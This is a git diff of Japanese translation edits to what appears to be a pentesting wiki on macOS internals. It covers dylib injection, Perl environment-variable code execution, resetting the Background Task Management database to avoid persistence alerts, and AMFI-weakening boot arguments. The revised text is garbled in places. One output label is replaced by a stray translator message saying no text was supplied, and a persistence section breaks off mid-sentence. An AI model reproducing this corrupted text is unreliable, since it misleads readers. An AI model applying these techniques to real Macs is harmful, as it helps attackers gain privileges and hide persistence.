- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` - `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` - `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
@ -137,7 +137,7 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
## 大規模 ## 大規模
予期しないバイナリにライブラリを注入しようと計画している場合は、イベントメッセージを確認して、プロセス内でライブラリが読み込まれるタイミングを見つけることができますこの場合、printfと`/bin/bash`の実行を削除します)。 予期しないバイナリにライブラリを注入しようと計画している場合は、プロセス内でライブラリが読み込まれるタイミングを確認するためにイベントメッセージをチェックできますこの場合、printfと`/bin/bash`の実行を削除します)。
```bash ```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
``` ```

View File

@ -11,7 +11,7 @@ Mach-o バイナリの実際の **entrypoint** は動的リンクされており
もちろん、**`dyld`** には依存関係はありませんsyscalls と libSystem の抜粋を使用します)。 もちろん、**`dyld`** には依存関係はありませんsyscalls と libSystem の抜粋を使用します)。
> [!CAUTION] > [!CAUTION]
> このリンカーに脆弱性が含まれている場合、バイナリ(特権の高いものも含む)を実行する前に実行されるため、**特権昇格**が可能になります。 > このリンカーに脆弱性が含まれている場合、バイナリ(特権の高いものも含む)を実行する前に実行されるため、**特権昇格**が可能す。
### フロー ### フロー
@ -68,7 +68,7 @@ printf("Hi\n");
100003f80: 913e9000 add x0, x0, #4004 100003f80: 913e9000 add x0, x0, #4004
100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98> 100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98>
``` ```
`printf`を呼び出すためのジャンプが**`__TEXT.__stubs`**に向かっていることがわかります。 `printf`へのジャンプが**`__TEXT.__stubs`**に向かっていることがわかります:
```bash ```bash
objdump --section-headers ./load objdump --section-headers ./load
@ -95,15 +95,15 @@ Disassembly of section __TEXT,__stubs:
100003f9c: f9400210 ldr x16, [x16] 100003f9c: f9400210 ldr x16, [x16]
100003fa0: d61f0200 br x16 100003fa0: d61f0200 br x16
``` ```
あなたは**GOTのアドレスにジャンプしている**ことがわかります。この場合、非遅延で解決され、printf関数のアドレスが含まれます。 あなたは**GOTのアドレスにジャンプしている**ことがわかります。この場合、非遅延で解決され、printf関数のアドレスが含まれます。
他の状況では、直接GOTにジャンプする代わりに、**`__DATA.__la_symbol_ptr`**にジャンプすることがあり、これは読み込もうとしている関数を表す値をロードし、その後**`__TEXT.__stub_helper`**にジャンプします。これが**`__DATA.__nl_symbol_ptr`**にジャンプし、**`dyld_stub_binder`**のアドレスを含ます。この関数は、関数の番号とアドレスをパラメータとして受け取ります。\ 他の状況では、直接GOTにジャンプする代わりに、**`__DATA.__la_symbol_ptr`**にジャンプすることがあり、これは読み込もうとしている関数を表す値をロードし、その後**`__TEXT.__stub_helper`**にジャンプします。これが**`__DATA.__nl_symbol_ptr`**にジャンプし、**`dyld_stub_binder`**のアドレスを含んでいます。この関数は、関数の番号とアドレスをパラメータとして受け取ります。\
この最後の関数は、検索された関数のアドレスを見つけた後、それを**`__TEXT.__stub_helper`**の対応する場所に書き込み、将来のルックアップを避けます。 この最後の関数は、検索された関数のアドレスを見つけた後、将来のルックアップを避けるために**`__TEXT.__stub_helper`**の対応する場所に書き込みます。
> [!TIP] > [!TIP]
> ただし、現在のdyldバージョンはすべてを非遅延でロードすることに注意してください。 > ただし、現在のdyldバージョンはすべてを非遅延でロードすることに注意してください。
#### Dyldオペコード #### Dyld opcodes
最後に、**`dyld_stub_binder`**は指定された関数を見つけて、再度検索しないように適切なアドレスに書き込む必要があります。そのために、dyld内でオペコード有限状態機械を使用します。 最後に、**`dyld_stub_binder`**は指定された関数を見つけて、再度検索しないように適切なアドレスに書き込む必要があります。そのために、dyld内でオペコード有限状態機械を使用します。
@ -119,7 +119,7 @@ for (int i=0; apple[i]; i++)
printf("%d: %s\n", i, apple[i]) printf("%d: %s\n", i, apple[i])
} }
``` ```
結果: 申し訳ありませんが、翻訳する内容が提供されていません。翻訳したいテキストを提供してください。
``` ```
0: executable_path=./a 0: executable_path=./a
1: 1:
@ -180,13 +180,13 @@ printf("%d: %s\n", i, apple[i])
## dyld_all_image_infos ## dyld_all_image_infos
これは、dyldの状態に関する情報を持つ構造体で、[**ソースコード**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html)で見つけることができ、バージョン、dyld_image_info配列へのポインタ、dyld_image_notifier、プロセスが共有キャッシュから切り離されているかどうか、libSystem初期化子が呼び出されたかどうか、dyls自身のMachヘッダーへのポインタ、dyldバージョン文字列へのポインタなどの情報が含まれています... これは、バージョン、dyld_image_info 配列へのポインタ、dyld_image_notifier、プロセスが共有キャッシュから切り離されているかどうか、libSystem 初期化子が呼び出されたかどうか、dyls の Mach ヘッダーへのポインタ、dyld バージョン文字列へのポインタなどの情報を含む、dyld によってエクスポートされた構造体です。
## dyld env variables ## dyld 環境変数
### debug dyld ### debug dyld
dyldが何をしているのかを理解するのに役立つ興味深い環境変数 dyld が何をしているのかを理解するのに役立つ興味深い環境変数:
- **DYLD_PRINT_LIBRARIES** - **DYLD_PRINT_LIBRARIES**
@ -245,7 +245,7 @@ dyld[21147]: __LINKEDIT (r..) 0x000239574000->0x000270BE4000
``` ```
- **DYLD_PRINT_INITIALIZERS** - **DYLD_PRINT_INITIALIZERS**
各ライブラリの初期化子が実行されるときに印刷します: 各ライブラリの初期化子が実行されるときに印刷します
``` ```
DYLD_PRINT_INITIALIZERS=1 ./apple DYLD_PRINT_INITIALIZERS=1 ./apple
dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
@ -253,7 +253,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
``` ```
### その他 ### その他
- `DYLD_BIND_AT_LAUNCH`: レイジーバインディング非レイジーなものと解決される - `DYLD_BIND_AT_LAUNCH`: レイジーバインディング非レイジーなものと解決される
- `DYLD_DISABLE_PREFETCH`: \_\_DATA と \_\_LINKEDIT コンテンツのプリフェッチを無効にする - `DYLD_DISABLE_PREFETCH`: \_\_DATA と \_\_LINKEDIT コンテンツのプリフェッチを無効にする
- `DYLD_FORCE_FLAT_NAMESPACE`: 単一レベルのバインディング - `DYLD_FORCE_FLAT_NAMESPACE`: 単一レベルのバインディング
- `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: 解決パス - `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: 解決パス
@ -279,7 +279,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
- `DYLD_SHARED_REGION`: "use", "private", "avoid" - `DYLD_SHARED_REGION`: "use", "private", "avoid"
- `DYLD_USE_CLOSURES`: クロージャを有効にする - `DYLD_USE_CLOSURES`: クロージャを有効にする
何かを使ってさらに見つけることができます: 他にも何かを使って見つけることができます:
```bash ```bash
strings /usr/lib/dyld | grep "^DYLD_" | sort -u strings /usr/lib/dyld | grep "^DYLD_" | sort -u
``` ```

View File

@ -4,8 +4,8 @@
## `PERL5OPT``PERL5LIB` 環境変数を使用して ## `PERL5OPT``PERL5LIB` 環境変数を使用して
環境変数 PERL5OPT を使用すると、perl に任意のコマンドを実行させることができます。\ 環境変数 PERL5OPT を使用すると、perl が任意のコマンドを実行することが可能です。\
例えば、このスクリプトを作成します: 例えば、このスクリプトを作成します
```perl:test.pl ```perl:test.pl
#!/usr/bin/perl #!/usr/bin/perl
print "Hello from the Perl script!\n"; print "Hello from the Perl script!\n";
@ -44,10 +44,10 @@ perl -e 'print join("\n", @INC)'
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level /System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30 /System/Library/Perl/Extras/5.30
``` ```
返されたフォルダのいくつかは存在しませんが、**`/Library/Perl/5.30`** は **存在** し、**SIP** によって **保護されていません** し、**SIP** によって **保護された** フォルダの **前** にあります。したがって、誰かがそのフォルダを悪用してスクリプトの依存関係を追加し、高権限の Perl スクリプトがそれを読み込むことができます。 返されたフォルダのいくつかは存在しませんが、**`/Library/Perl/5.30`** は **存在** し、**SIP** によって **保護されていません** し、**SIP** によって **保護された** フォルダの **前** にあります。したがって、誰かがそのフォルダを悪用してスクリプトの依存関係を追加し、高権限のPerlスクリプトがそれを読み込むことができます。
> [!WARNING] > [!WARNING]
> ただし、そのフォルダに書き込むには **root である必要があります** し、現在ではこの **TCC プロンプト** が表示されます: > ただし、そのフォルダに書き込むには **root** である必要があり、現在ではこの **TCCプロンプト** が表示されます:
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure> <figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>

View File

@ -32,7 +32,7 @@ macos-sandbox/
### TCC - **透明性、同意、制御** ### TCC - **透明性、同意、制御**
**TCC (透明性、同意、制御)**はセキュリティフレームワークです。これは、アプリケーションの**権限を管理する**ために設計されており、特に敏感な機能へのアクセスを規制します。これには、**位置情報サービス、連絡先、写真、マイク、カメラ、アクセシビリティ、フルディスクアクセス**などの要素が含まれます。TCCは、アプリが明示的なユーザーの同意を得た後にのみこれらの機能にアクセスできるようにし、プライバシーと個人データの制御を強化します。 **TCC (透明性、同意、制御)**はセキュリティフレームワークです。これは、アプリケーションの**権限を管理する**ために設計されており、特に機密機能へのアクセスを規制します。これには、**位置情報サービス、連絡先、写真、マイク、カメラ、アクセシビリティ、フルディスクアクセス**などの要素が含まれます。TCCは、アプリが明示的なユーザーの同意を得た後にのみこれらの機能にアクセスできることを保証し、プライバシーと個人データに対する制御を強化します。
{{#ref}} {{#ref}}
macos-tcc/ macos-tcc/
@ -40,7 +40,7 @@ macos-tcc/
### 起動/環境制約と信頼キャッシュ ### 起動/環境制約と信頼キャッシュ
macOSの起動制約は、**プロセスの開始を規制する**ためのセキュリティ機能であり、**誰がプロセスを起動できるか、どのように、どこから**起動するかを定義します。macOS Venturaで導入され、システムバイナリを制約カテゴリに分類し、**信頼キャッシュ**内に格納します。すべての実行可能バイナリには、**自己、親、責任**の制約を含む**起動**のための**ルール**が設定されています。macOS Sonomaでは、これらの機能が**環境**制約としてサードパーティアプリに拡張され、プロセスの起動条件を管理することで潜在的なシステムの悪用を軽減します。 macOSの起動制約は、**プロセスの開始を規制する**ためのセキュリティ機能であり、**誰がプロセスを起動できるか、どのように、どこから**起動するかを定義します。macOS Venturaで導入され、システムバイナリを**信頼キャッシュ**内の制約カテゴリに分類します。すべての実行可能バイナリには、**自己、親、責任**の制約を含む**起動**のための**ルール**が設定されています。macOS Sonomaでは、これらの機能が**環境**制約としてサードパーティアプリに拡張され、プロセスの起動条件を管理することで潜在的なシステムの悪用を軽減します。
{{#ref}} {{#ref}}
macos-launch-environment-constraints.md macos-launch-environment-constraints.md
@ -50,7 +50,7 @@ macos-launch-environment-constraints.md
マルウェア除去ツールMRTは、macOSのセキュリティインフラストラクチャの一部です。名前が示すように、MRTの主な機能は**感染したシステムから既知のマルウェアを除去する**ことです。 マルウェア除去ツールMRTは、macOSのセキュリティインフラストラクチャの一部です。名前が示すように、MRTの主な機能は**感染したシステムから既知のマルウェアを除去する**ことです。
Macでマルウェアが検出されるとXProtectまたは他の手段によって、MRTを使用して自動的に**マルウェアを除去**できます。MRTはバックグラウンドで静かに動作し、通常はシステムが更新されるときや新しいマルウェア定義がダウンロードされるときに実行されますMRTがマルウェアを検出するためのルールはバイナリ内にあるようです マルウェアがMac上で検出されるとXProtectまたは他の手段によって、MRTを使用して自動的に**マルウェアを除去**できます。MRTはバックグラウンドで静かに動作し、通常はシステムが更新されるときや新しいマルウェア定義がダウンロードされるときに実行されますMRTがマルウェアを検出するためのルールはバイナリ内にあるようです
XProtectとMRTはどちらもmacOSのセキュリティ対策の一部ですが、異なる機能を果たします XProtectとMRTはどちらもmacOSのセキュリティ対策の一部ですが、異なる機能を果たします
@ -61,15 +61,7 @@ MRTアプリケーションは**`/Library/Apple/System/Library/CoreServices/MRT.
## バックグラウンドタスク管理 ## バックグラウンドタスク管理
**macOS**は、ツールが**コード実行を持続させるためのよく知られた技術を使用する**たびに**警告**を出すようになりました(ログイン項目、デーモンなど)、これによりユーザーは**どのソフトウェアが持続しているか**をよりよく理解できます。 **macOS**は、ツールが**コード実行を持続させるためのよく知られた技術を
<figure><img src="../../../images/image (1183).png" alt=""><figcaption></figcaption></figure>
これは、`/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd`にある**デーモン**と、`/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`にある**エージェント**によって実行されます。
**`backgroundtaskmanagementd`**が何かが持続的なフォルダにインストールされていることを知る方法は、**FSEventsを取得し**、それに対していくつかの**ハンドラー**を作成することです。
さらに、Appleによって管理される**よく知られたアプリケーション**を含むplistファイルがあり、これは`/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`にあります。
```json ```json
[...] [...]
"us.zoom.ZoomDaemon" => { "us.zoom.ZoomDaemon" => {
@ -99,13 +91,13 @@ chmod +x dumpBTM
xattr -rc dumpBTM # Remove quarantine attr xattr -rc dumpBTM # Remove quarantine attr
./dumpBTM ./dumpBTM
``` ```
この情報は **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** に保存されており、TerminalはFDAを必要とします。 この情報は **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** に保存されており、Terminal FDA を必要とします。
### BTMの操作 ### BTM の操作
新しい永続性が見つかると、**`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** タイプのイベントが発生します。したがって、この **イベント** が送信されるのを **防ぐ** 方法や、**エージェントがユーザーに警告するのを防ぐ** 方法は、攻撃者が BTM を _**回避**_ するのに役立ちます。 新しい永続性が見つかると、**`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** タイプのイベントが発生します。したがって、この **イベント** が送信されるのを **防ぐ** 方法や、**エージェントがユーザーに警告するのを防ぐ** 方法は、攻撃者が BTM を _**回避**_ するのに役立ちます。
- **データベースのリセット**: 次のコマンドを実行すると、データベースがリセットされます(最初から再構築される必要があります)。ただし、何らかの理由で、これを実行した後は、**システムが再起動されるまで新しい永続性は警告されません**。 - **データベースのリセット**: 次のコマンドを実行すると、データベースがリセットされます(最初から再構築する必要があります)。ただし、何らかの理由で、これを実行した後は **システムが再起動されるまで新しい永続性は警告されません**
- **root** が必要です。 - **root** が必要です。
```bash ```bash
# Reset the database # Reset the database

View File

@ -4,41 +4,41 @@
## AppleMobileFileIntegrity.kext と amfid ## AppleMobileFileIntegrity.kext と amfid
これは、XNUのコード署名検証の背後にあるロジックを提供し、システム上で実行されるコードの整合性を強制することに焦点を当てています。また、権限をチェックし、デバッグを許可したりタスクポートを取得したりするなどの他の敏感なタスクを処理することもできます。 これは、XNUのコード署名検証の背後にあるロジックを提供し、システム上で実行されるコードの整合性を強制することに焦点を当てています。また、権限を確認し、デバッグを許可したりタスクポートを取得したりするなどの他の敏感なタスクを処理することもできます。
さらに、一部の操作において、kextはユーザースペースで実行されているデーモン `/usr/libexec/amfid` に連絡することを好みます。この信頼関係は、いくつかの脱獄で悪用されてきました。 さらに、一部の操作において、kextはユーザースペースで実行されているデーモン `/usr/libexec/amfid` に連絡することを好みます。この信頼関係は、いくつかの脱獄で悪用されてきました。
AMFIは **MACF** ポリシーを使用し、起動時にフックを登録します。また、その読み込みやアンロードを防ぐと、カーネルパニックが発生する可能性があります。ただし、AMFIを弱体化させるいくつかのブート引数があります AMFIは **MACF** ポリシーを使用し、起動時にフックを登録します。また、その読み込みやアンロードを防ぐと、カーネルパニックを引き起こす可能性があります。ただし、AMFIを弱体化させるいくつかのブート引数があります
- `amfi_unrestricted_task_for_pid`: 必要な権限なしで task_for_pid を許可 - `amfi_unrestricted_task_for_pid`: 必要な権限なしで task_for_pid を許可
- `amfi_allow_any_signature`: すべてのコード署名を許可 - `amfi_allow_any_signature`: すべてのコード署名を許可
- `cs_enforcement_disable`: コード署名の強制を無効にするためのシステム全体の引数 - `cs_enforcement_disable`: コード署名の強制を無効にするためのシステム全体の引数
- `amfi_prevent_old_entitled_platform_binaries`: 権限を持つプラットフォームバイナリを無効にする - `amfi_prevent_old_entitled_platform_binaries`: 権限のあるプラットフォームバイナリを無効にする
- `amfi_get_out_of_my_way`: amfi を完全に無効にする - `amfi_get_out_of_my_way`: amfi を完全に無効にする
これらは、登録されるいくつかの MACF ポリシーです: これらは、登録されるいくつかの MACF ポリシーです:
- **`cred_check_label_update_execve:`** ラベルの更新が行われ、1を返します - **`cred_check_label_update_execve:`** ラベルの更新が行われ、1が返されます
- **`cred_label_associate`**: AMFIのmacラベルスロットをラベルで更新 - **`cred_label_associate`**: AMFIのmacラベルスロットをラベルで更新
- **`cred_label_destroy`**: AMFIのmacラベルスロットを削除 - **`cred_label_destroy`**: AMFIのmacラベルスロットを削除
- **`cred_label_init`**: AMFIのmacラベルスロットに0を移動 - **`cred_label_init`**: AMFIのmacラベルスロットに0を移動
- **`cred_label_update_execve`:** プロセスの権限をチェックし、ラベルを変更することが許可されるかどうかを確認します。 - **`cred_label_update_execve`:** プロセスの権限を確認し、ラベルを変更することが許可されるかどうかを判断します。
- **`file_check_mmap`:** mmapがメモリを取得し、それを実行可能として設定しているかをチェックします。その場合、ライブラリの検証が必要かどうかを確認し、必要であればライブラリ検証関数を呼び出します。 - **`file_check_mmap`:** mmapがメモリを取得し、実行可能として設定しているかを確認します。その場合、ライブラリの検証が必要かどうかを確認し、必要であればライブラリ検証関数を呼び出します。
- **`file_check_library_validation`**: ライブラリ検証関数を呼び出し、他のプラットフォームバイナリを読み込んでいるか、プロセスと新しく読み込まれたファイルが同じTeamIDを持っているかなどをチェックします。特定の権限により、任意のライブラリを読み込むことも許可されます。 - **`file_check_library_validation`**: ライブラリ検証関数を呼び出し、他のプラットフォームバイナリを読み込んでいるか、プロセスと新しく読み込まれたファイルが同じTeamIDを持っているかなどを確認します。特定の権限により、任意のライブラリを読み込むことも許可されます。
- **`policy_initbsd`**: 信頼されたNVRAMキーを設定 - **`policy_initbsd`**: 信頼されたNVRAMキーを設定
- **`policy_syscall`**: バイナリが制限のないセグメントを持っているか、環境変数を許可すべきかなど、DYLDポリシーをチェックします...これは、`amfi_check_dyld_policy_self()`を介してプロセスが開始されるときにも呼び出されます。 - **`policy_syscall`**: バイナリに制限のないセグメントがあるか、環境変数を許可するかなど、DYLDポリシーを確認します...これは、`amfi_check_dyld_policy_self()`を介してプロセスが開始されるときにも呼び出されます。
- **`proc_check_inherit_ipc_ports`**: プロセスが新しいバイナリを実行する際、他のプロセスがプロセスのタスクポートに対してSEND権を持っている場合、それを保持するかどうかをチェックします。プラットフォームバイナリは許可され、`get-task-allow`権限がそれを許可し、`task_for_pid-allow`権限が許可され、同じTeamIDを持つバイナリも許可されます。 - **`proc_check_inherit_ipc_ports`**: プロセスが新しいバイナリを実行する際、他のプロセスがプロセスのタスクポートに対してSEND権を持っている場合、それを保持するかどうかを確認します。プラットフォームバイナリは許可され、`get-task-allow`権限がそれを許可し、`task_for_pid-allow`権限が許可され、同じTeamIDを持つバイナリも許可されます。
- **`proc_check_expose_task`**: 権限を強制 - **`proc_check_expose_task`**: 権限を強制
- **`amfi_exc_action_check_exception_send`**: 例外メッセージがデバッガに送信されます - **`amfi_exc_action_check_exception_send`**: 例外メッセージがデバッガに送信されます
- **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: 例外処理中のラベルライフサイクル(デバッグ) - **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: 例外処理中のラベルライフサイクル(デバッグ)
- **`proc_check_get_task`**: `get-task-allow`のような権限をチェックし、他のプロセスがタスクポートを取得できるかどうかを確認し、`task_for_pid-allow`が許可されている場合、プロセスが他のプロセスのタスクポートを取得できるかどうかを確認します。どちらもない場合、`amfid permitunrestricteddebugging`を呼び出して許可されているかどうかを確認します。 - **`proc_check_get_task`**: `get-task-allow`のような権限を確認し、他のプロセスがタスクポートを取得できるかどうかを確認し、`task_for_pid-allow`が許可されている場合、プロセスが他のプロセスのタスクポートを取得できるかどうかを確認します。どちらもない場合、`amfid permitunrestricteddebugging`を呼び出して許可されているかどうかを確認します。
- **`proc_check_mprotect`**: `mprotect`がフラグ`VM_PROT_TRUSTED`で呼び出された場合、拒否します。これは、その領域が有効なコード署名を持っているかのように扱われる必要があることを示します。 - **`proc_check_mprotect`**: `mprotect`がフラグ`VM_PROT_TRUSTED`で呼び出された場合、拒否します。これは、その領域が有効なコード署名を持っているかのように扱われる必要があることを示します。
- **`vnode_check_exec`**: 実行可能ファイルがメモリに読み込まれるときに呼び出され、`cs_hard | cs_kill`を設定します。これにより、ページのいずれかが無効になるとプロセスが終了します。 - **`vnode_check_exec`**: 実行可能ファイルがメモリに読み込まれるときに呼び出され、`cs_hard | cs_kill`を設定します。これにより、ページのいずれかが無効になるとプロセスが終了します。
- **`vnode_check_getextattr`**: MacOS: `com.apple.root.installed``isVnodeQuarantined()`チェック - **`vnode_check_getextattr`**: MacOS: `com.apple.root.installed``isVnodeQuarantined()`確認
- **`vnode_check_setextattr`**: get + com.apple.private.allow-bless および internal-installer-equivalent 権限として - **`vnode_check_setextattr`**: get + com.apple.private.allow-bless と内部インストーラー相当の権限
- &#x20;**`vnode_check_signature`**: 権限、信頼キャッシュ、および `amfid` を使用してコード署名をチェックするためにXNUを呼び出すコード - &#x20;**`vnode_check_signature`**: 権限、信頼キャッシュ、`amfid`を使用してコード署名を確認するためにXNUを呼び出すコード
- &#x20;**`proc_check_run_cs_invalid`**: `ptrace()`呼び出し(`PT_ATTACH`および`PT_TRACE_ME`)をインターセプトします。`get-task-allow``run-invalid-allow`および`run-unsigned-code`のいずれかの権限があるかどうかをチェックし、いずれもない場合はデバッグが許可されているかどうかを確認します。 - &#x20;**`proc_check_run_cs_invalid`**: `ptrace()`呼び出し(`PT_ATTACH`および`PT_TRACE_ME`)をインターセプトします。`get-task-allow``run-invalid-allow``run-unsigned-code`のいずれかの権限があるかどうかを確認し、いずれもない場合はデバッグが許可されているかどうかを確認します。
- **`proc_check_map_anon`**: mmapが **`MAP_JIT`** フラグで呼び出された場合、AMFIは `dynamic-codesigning` 権限をチェックします。 - **`proc_check_map_anon`**: mmapが **`MAP_JIT`** フラグで呼び出された場合、AMFIは `dynamic-codesigning` 権限を確認します。
`AMFI.kext` は他のカーネル拡張のためのAPIも公開しており、その依存関係を見つけることが可能です `AMFI.kext` は他のカーネル拡張のためのAPIも公開しており、その依存関係を見つけることが可能です
```bash ```bash
@ -70,7 +70,7 @@ No variant specified, falling back to release
macOSでは、特別なポートをrootプロセスがハイジャックすることはもはや不可能であり、これらは`SIP`によって保護されており、launchdのみがそれらを取得できます。iOSでは、応答を返すプロセスが`amfid`のCDHashをハードコーディングしていることが確認されます。 macOSでは、特別なポートをrootプロセスがハイジャックすることはもはや不可能であり、これらは`SIP`によって保護されており、launchdのみがそれらを取得できます。iOSでは、応答を返すプロセスが`amfid`のCDHashをハードコーディングしていることが確認されます。
`amfid`がバイナリをチェックするように要求されたときとその応答を見ることが可能であり、デバッグして`mach_msg`にブレークポイントを設定することで確認できます。 `amfid`がバイナリをチェックするように要求されたときとその応答を、デバッグして`mach_msg`にブレークポイントを設定することで確認できます。
特別なポートを介してメッセージが受信されると、**MIG**が呼び出されている関数に各関数を送信するために使用されます。主要な関数は逆アセンブルされ、本書内で説明されています。 特別なポートを介してメッセージが受信されると、**MIG**が呼び出されている関数に各関数を送信するために使用されます。主要な関数は逆アセンブルされ、本書内で説明されています。
@ -91,7 +91,7 @@ security cms -D -i /path/to/profile
これらのプロビジョニングプロファイルは、時には証明書として言及されますが、証明書以上のものがあります: これらのプロビジョニングプロファイルは、時には証明書として言及されますが、証明書以上のものがあります:
- **AppIDName:** アプリケーション識別子 - **AppIDName:** アプリケーション識別子
- **AppleInternalProfile**: これをApple内部プロファイルとして指定 - **AppleInternalProfile**: これをApple内部プロファイルとして指定します
- **ApplicationIdentifierPrefix**: AppIDNameの前に付加されるTeamIdentifierと同じ - **ApplicationIdentifierPrefix**: AppIDNameの前に付加されるTeamIdentifierと同じ
- **CreationDate**: `YYYY-MM-DDTHH:mm:ssZ`形式の日付 - **CreationDate**: `YYYY-MM-DDTHH:mm:ssZ`形式の日付
- **DeveloperCertificates**: Base64データとしてエンコードされた通常は1つの証明書の配列 - **DeveloperCertificates**: Base64データとしてエンコードされた通常は1つの証明書の配列
@ -103,7 +103,7 @@ security cms -D -i /path/to/profile
- **TeamIdentifier**: アプリ間の相互作用の目的で開発者を識別するために使用される通常は1つの英数字の文字列の配列 - **TeamIdentifier**: アプリ間の相互作用の目的で開発者を識別するために使用される通常は1つの英数字の文字列の配列
- **TeamName**: 開発者を識別するために使用される人間が読める名前 - **TeamName**: 開発者を識別するために使用される人間が読める名前
- **TimeToLive**: 証明書の有効期間(日数) - **TimeToLive**: 証明書の有効期間(日数)
- **UUID**: このプロファイルのためのユニバーサルユニーク識別子 - **UUID**: このプロファイルのユニバーサルユニーク識別子
- **Version**: 現在1に設定されています - **Version**: 現在1に設定されています
権利のエントリには制限された権利のセットが含まれ、このプロビジョニングプロファイルはAppleのプライベート権利を与えないように特定の権利のみを提供できます。 権利のエントリには制限された権利のセットが含まれ、このプロビジョニングプロファイルはAppleのプライベート権利を与えないように特定の権利のみを提供できます。

View File

@ -20,10 +20,10 @@
- **timeout**: ルールによって付与された認可が期限切れになるまでの秒数を定義します。 - **timeout**: ルールによって付与された認可が期限切れになるまでの秒数を定義します。
- **flags**: ルールの動作と特性を変更するさまざまなフラグを含みます。 - **flags**: ルールの動作と特性を変更するさまざまなフラグを含みます。
- **tries**: セキュリティを強化するために許可される認可試行の回数を制限します。 - **tries**: セキュリティを強化するために許可される認可試行の回数を制限します。
- **version**: バージョン管理と更新のためにルールのバージョンを追跡します。 - **version**: ルールのバージョンを追跡し、バージョン管理と更新を行います。
- **created**: 監査目的のためにルールが作成されたタイムスタンプを記録します。 - **created**: 監査目的のためにルールが作成されたタイムスタンプを記録します。
- **modified**: ルールに対して行われた最後の変更のタイムスタンプを保存します。 - **modified**: ルールに対して行われた最後の変更のタイムスタンプを保存します。
- **hash**: ルールの整合性を確保し、改ざんを検出するためのハッシュ値を保持します。 - **hash**: ルールのハッシュ値を保持し、その整合性を確保し、改ざんを検出します。
- **identifier**: ルールへの外部参照のための一意の文字列識別子UUIDなどを提供します。 - **identifier**: ルールへの外部参照のための一意の文字列識別子UUIDなどを提供します。
- **requirement**: ルールの特定の認可要件とメカニズムを定義するシリアライズされたデータを含みます。 - **requirement**: ルールの特定の認可要件とメカニズムを定義するシリアライズされたデータを含みます。
- **comment**: ドキュメントと明確さのためにルールに関する人間が読める説明またはコメントを提供します。 - **comment**: ドキュメントと明確さのためにルールに関する人間が読める説明またはコメントを提供します。
@ -73,9 +73,9 @@ security authorizationdb read com.apple.tcc.util.admin
``` ```
## Authd ## Authd
これは、クライアントが機密操作を実行するための承認要求を受け取るデーモンです。これは、`XPCServices/`フォルダー内に定義されたXPCサービスとして機能し、ログを`/var/log/authd.log`に書き込みます。 これは、クライアントが機密アクションを実行するための承認要求を受け取るデーモンです。これは、`XPCServices/`フォルダー内に定義されたXPCサービスとして機能し、ログを`/var/log/authd.log`に書き込みます。
さらに、セキュリティツールを使用すると、多くの`Security.framework` APIをテストすることが可能です。例えば、`AuthorizationExecuteWithPrivileges`を実行するには、次のようにします: `security execute-with-privileges /bin/ls` さらに、セキュリティツールを使用すると、多くの`Security.framework` APIをテストすることができます。例えば、`AuthorizationExecuteWithPrivileges`を実行するには、次のようにします: `security execute-with-privileges /bin/ls`
これにより、`/usr/libexec/security_authtrampoline /bin/ls`がrootとしてフォークされ、lsをrootとして実行するための権限を求めるプロンプトが表示されます: これにより、`/usr/libexec/security_authtrampoline /bin/ls`がrootとしてフォークされ、lsをrootとして実行するための権限を求めるプロンプトが表示されます:

View File

@ -8,7 +8,7 @@ Mach-o バイナリには、バイナリ内の署名の **オフセット** と
<figure><img src="../../../images/image (1) (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1) (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
コード署名のマジックヘッダーは **`0xFADE0CC0`** です。その後、これらを含むスーパーブロブの長さやブロブの数などの情報があります。\ コード署名のマジックヘッダーは **`0xFADE0CC0`** です。その後、長さやそれらを含む superBlob のブロブの数などの情報があります。\
この情報は [こちらのソースコード](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L276) で見つけることができます: この情報は [こちらのソースコード](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L276) で見つけることができます:
```c ```c
/* /*
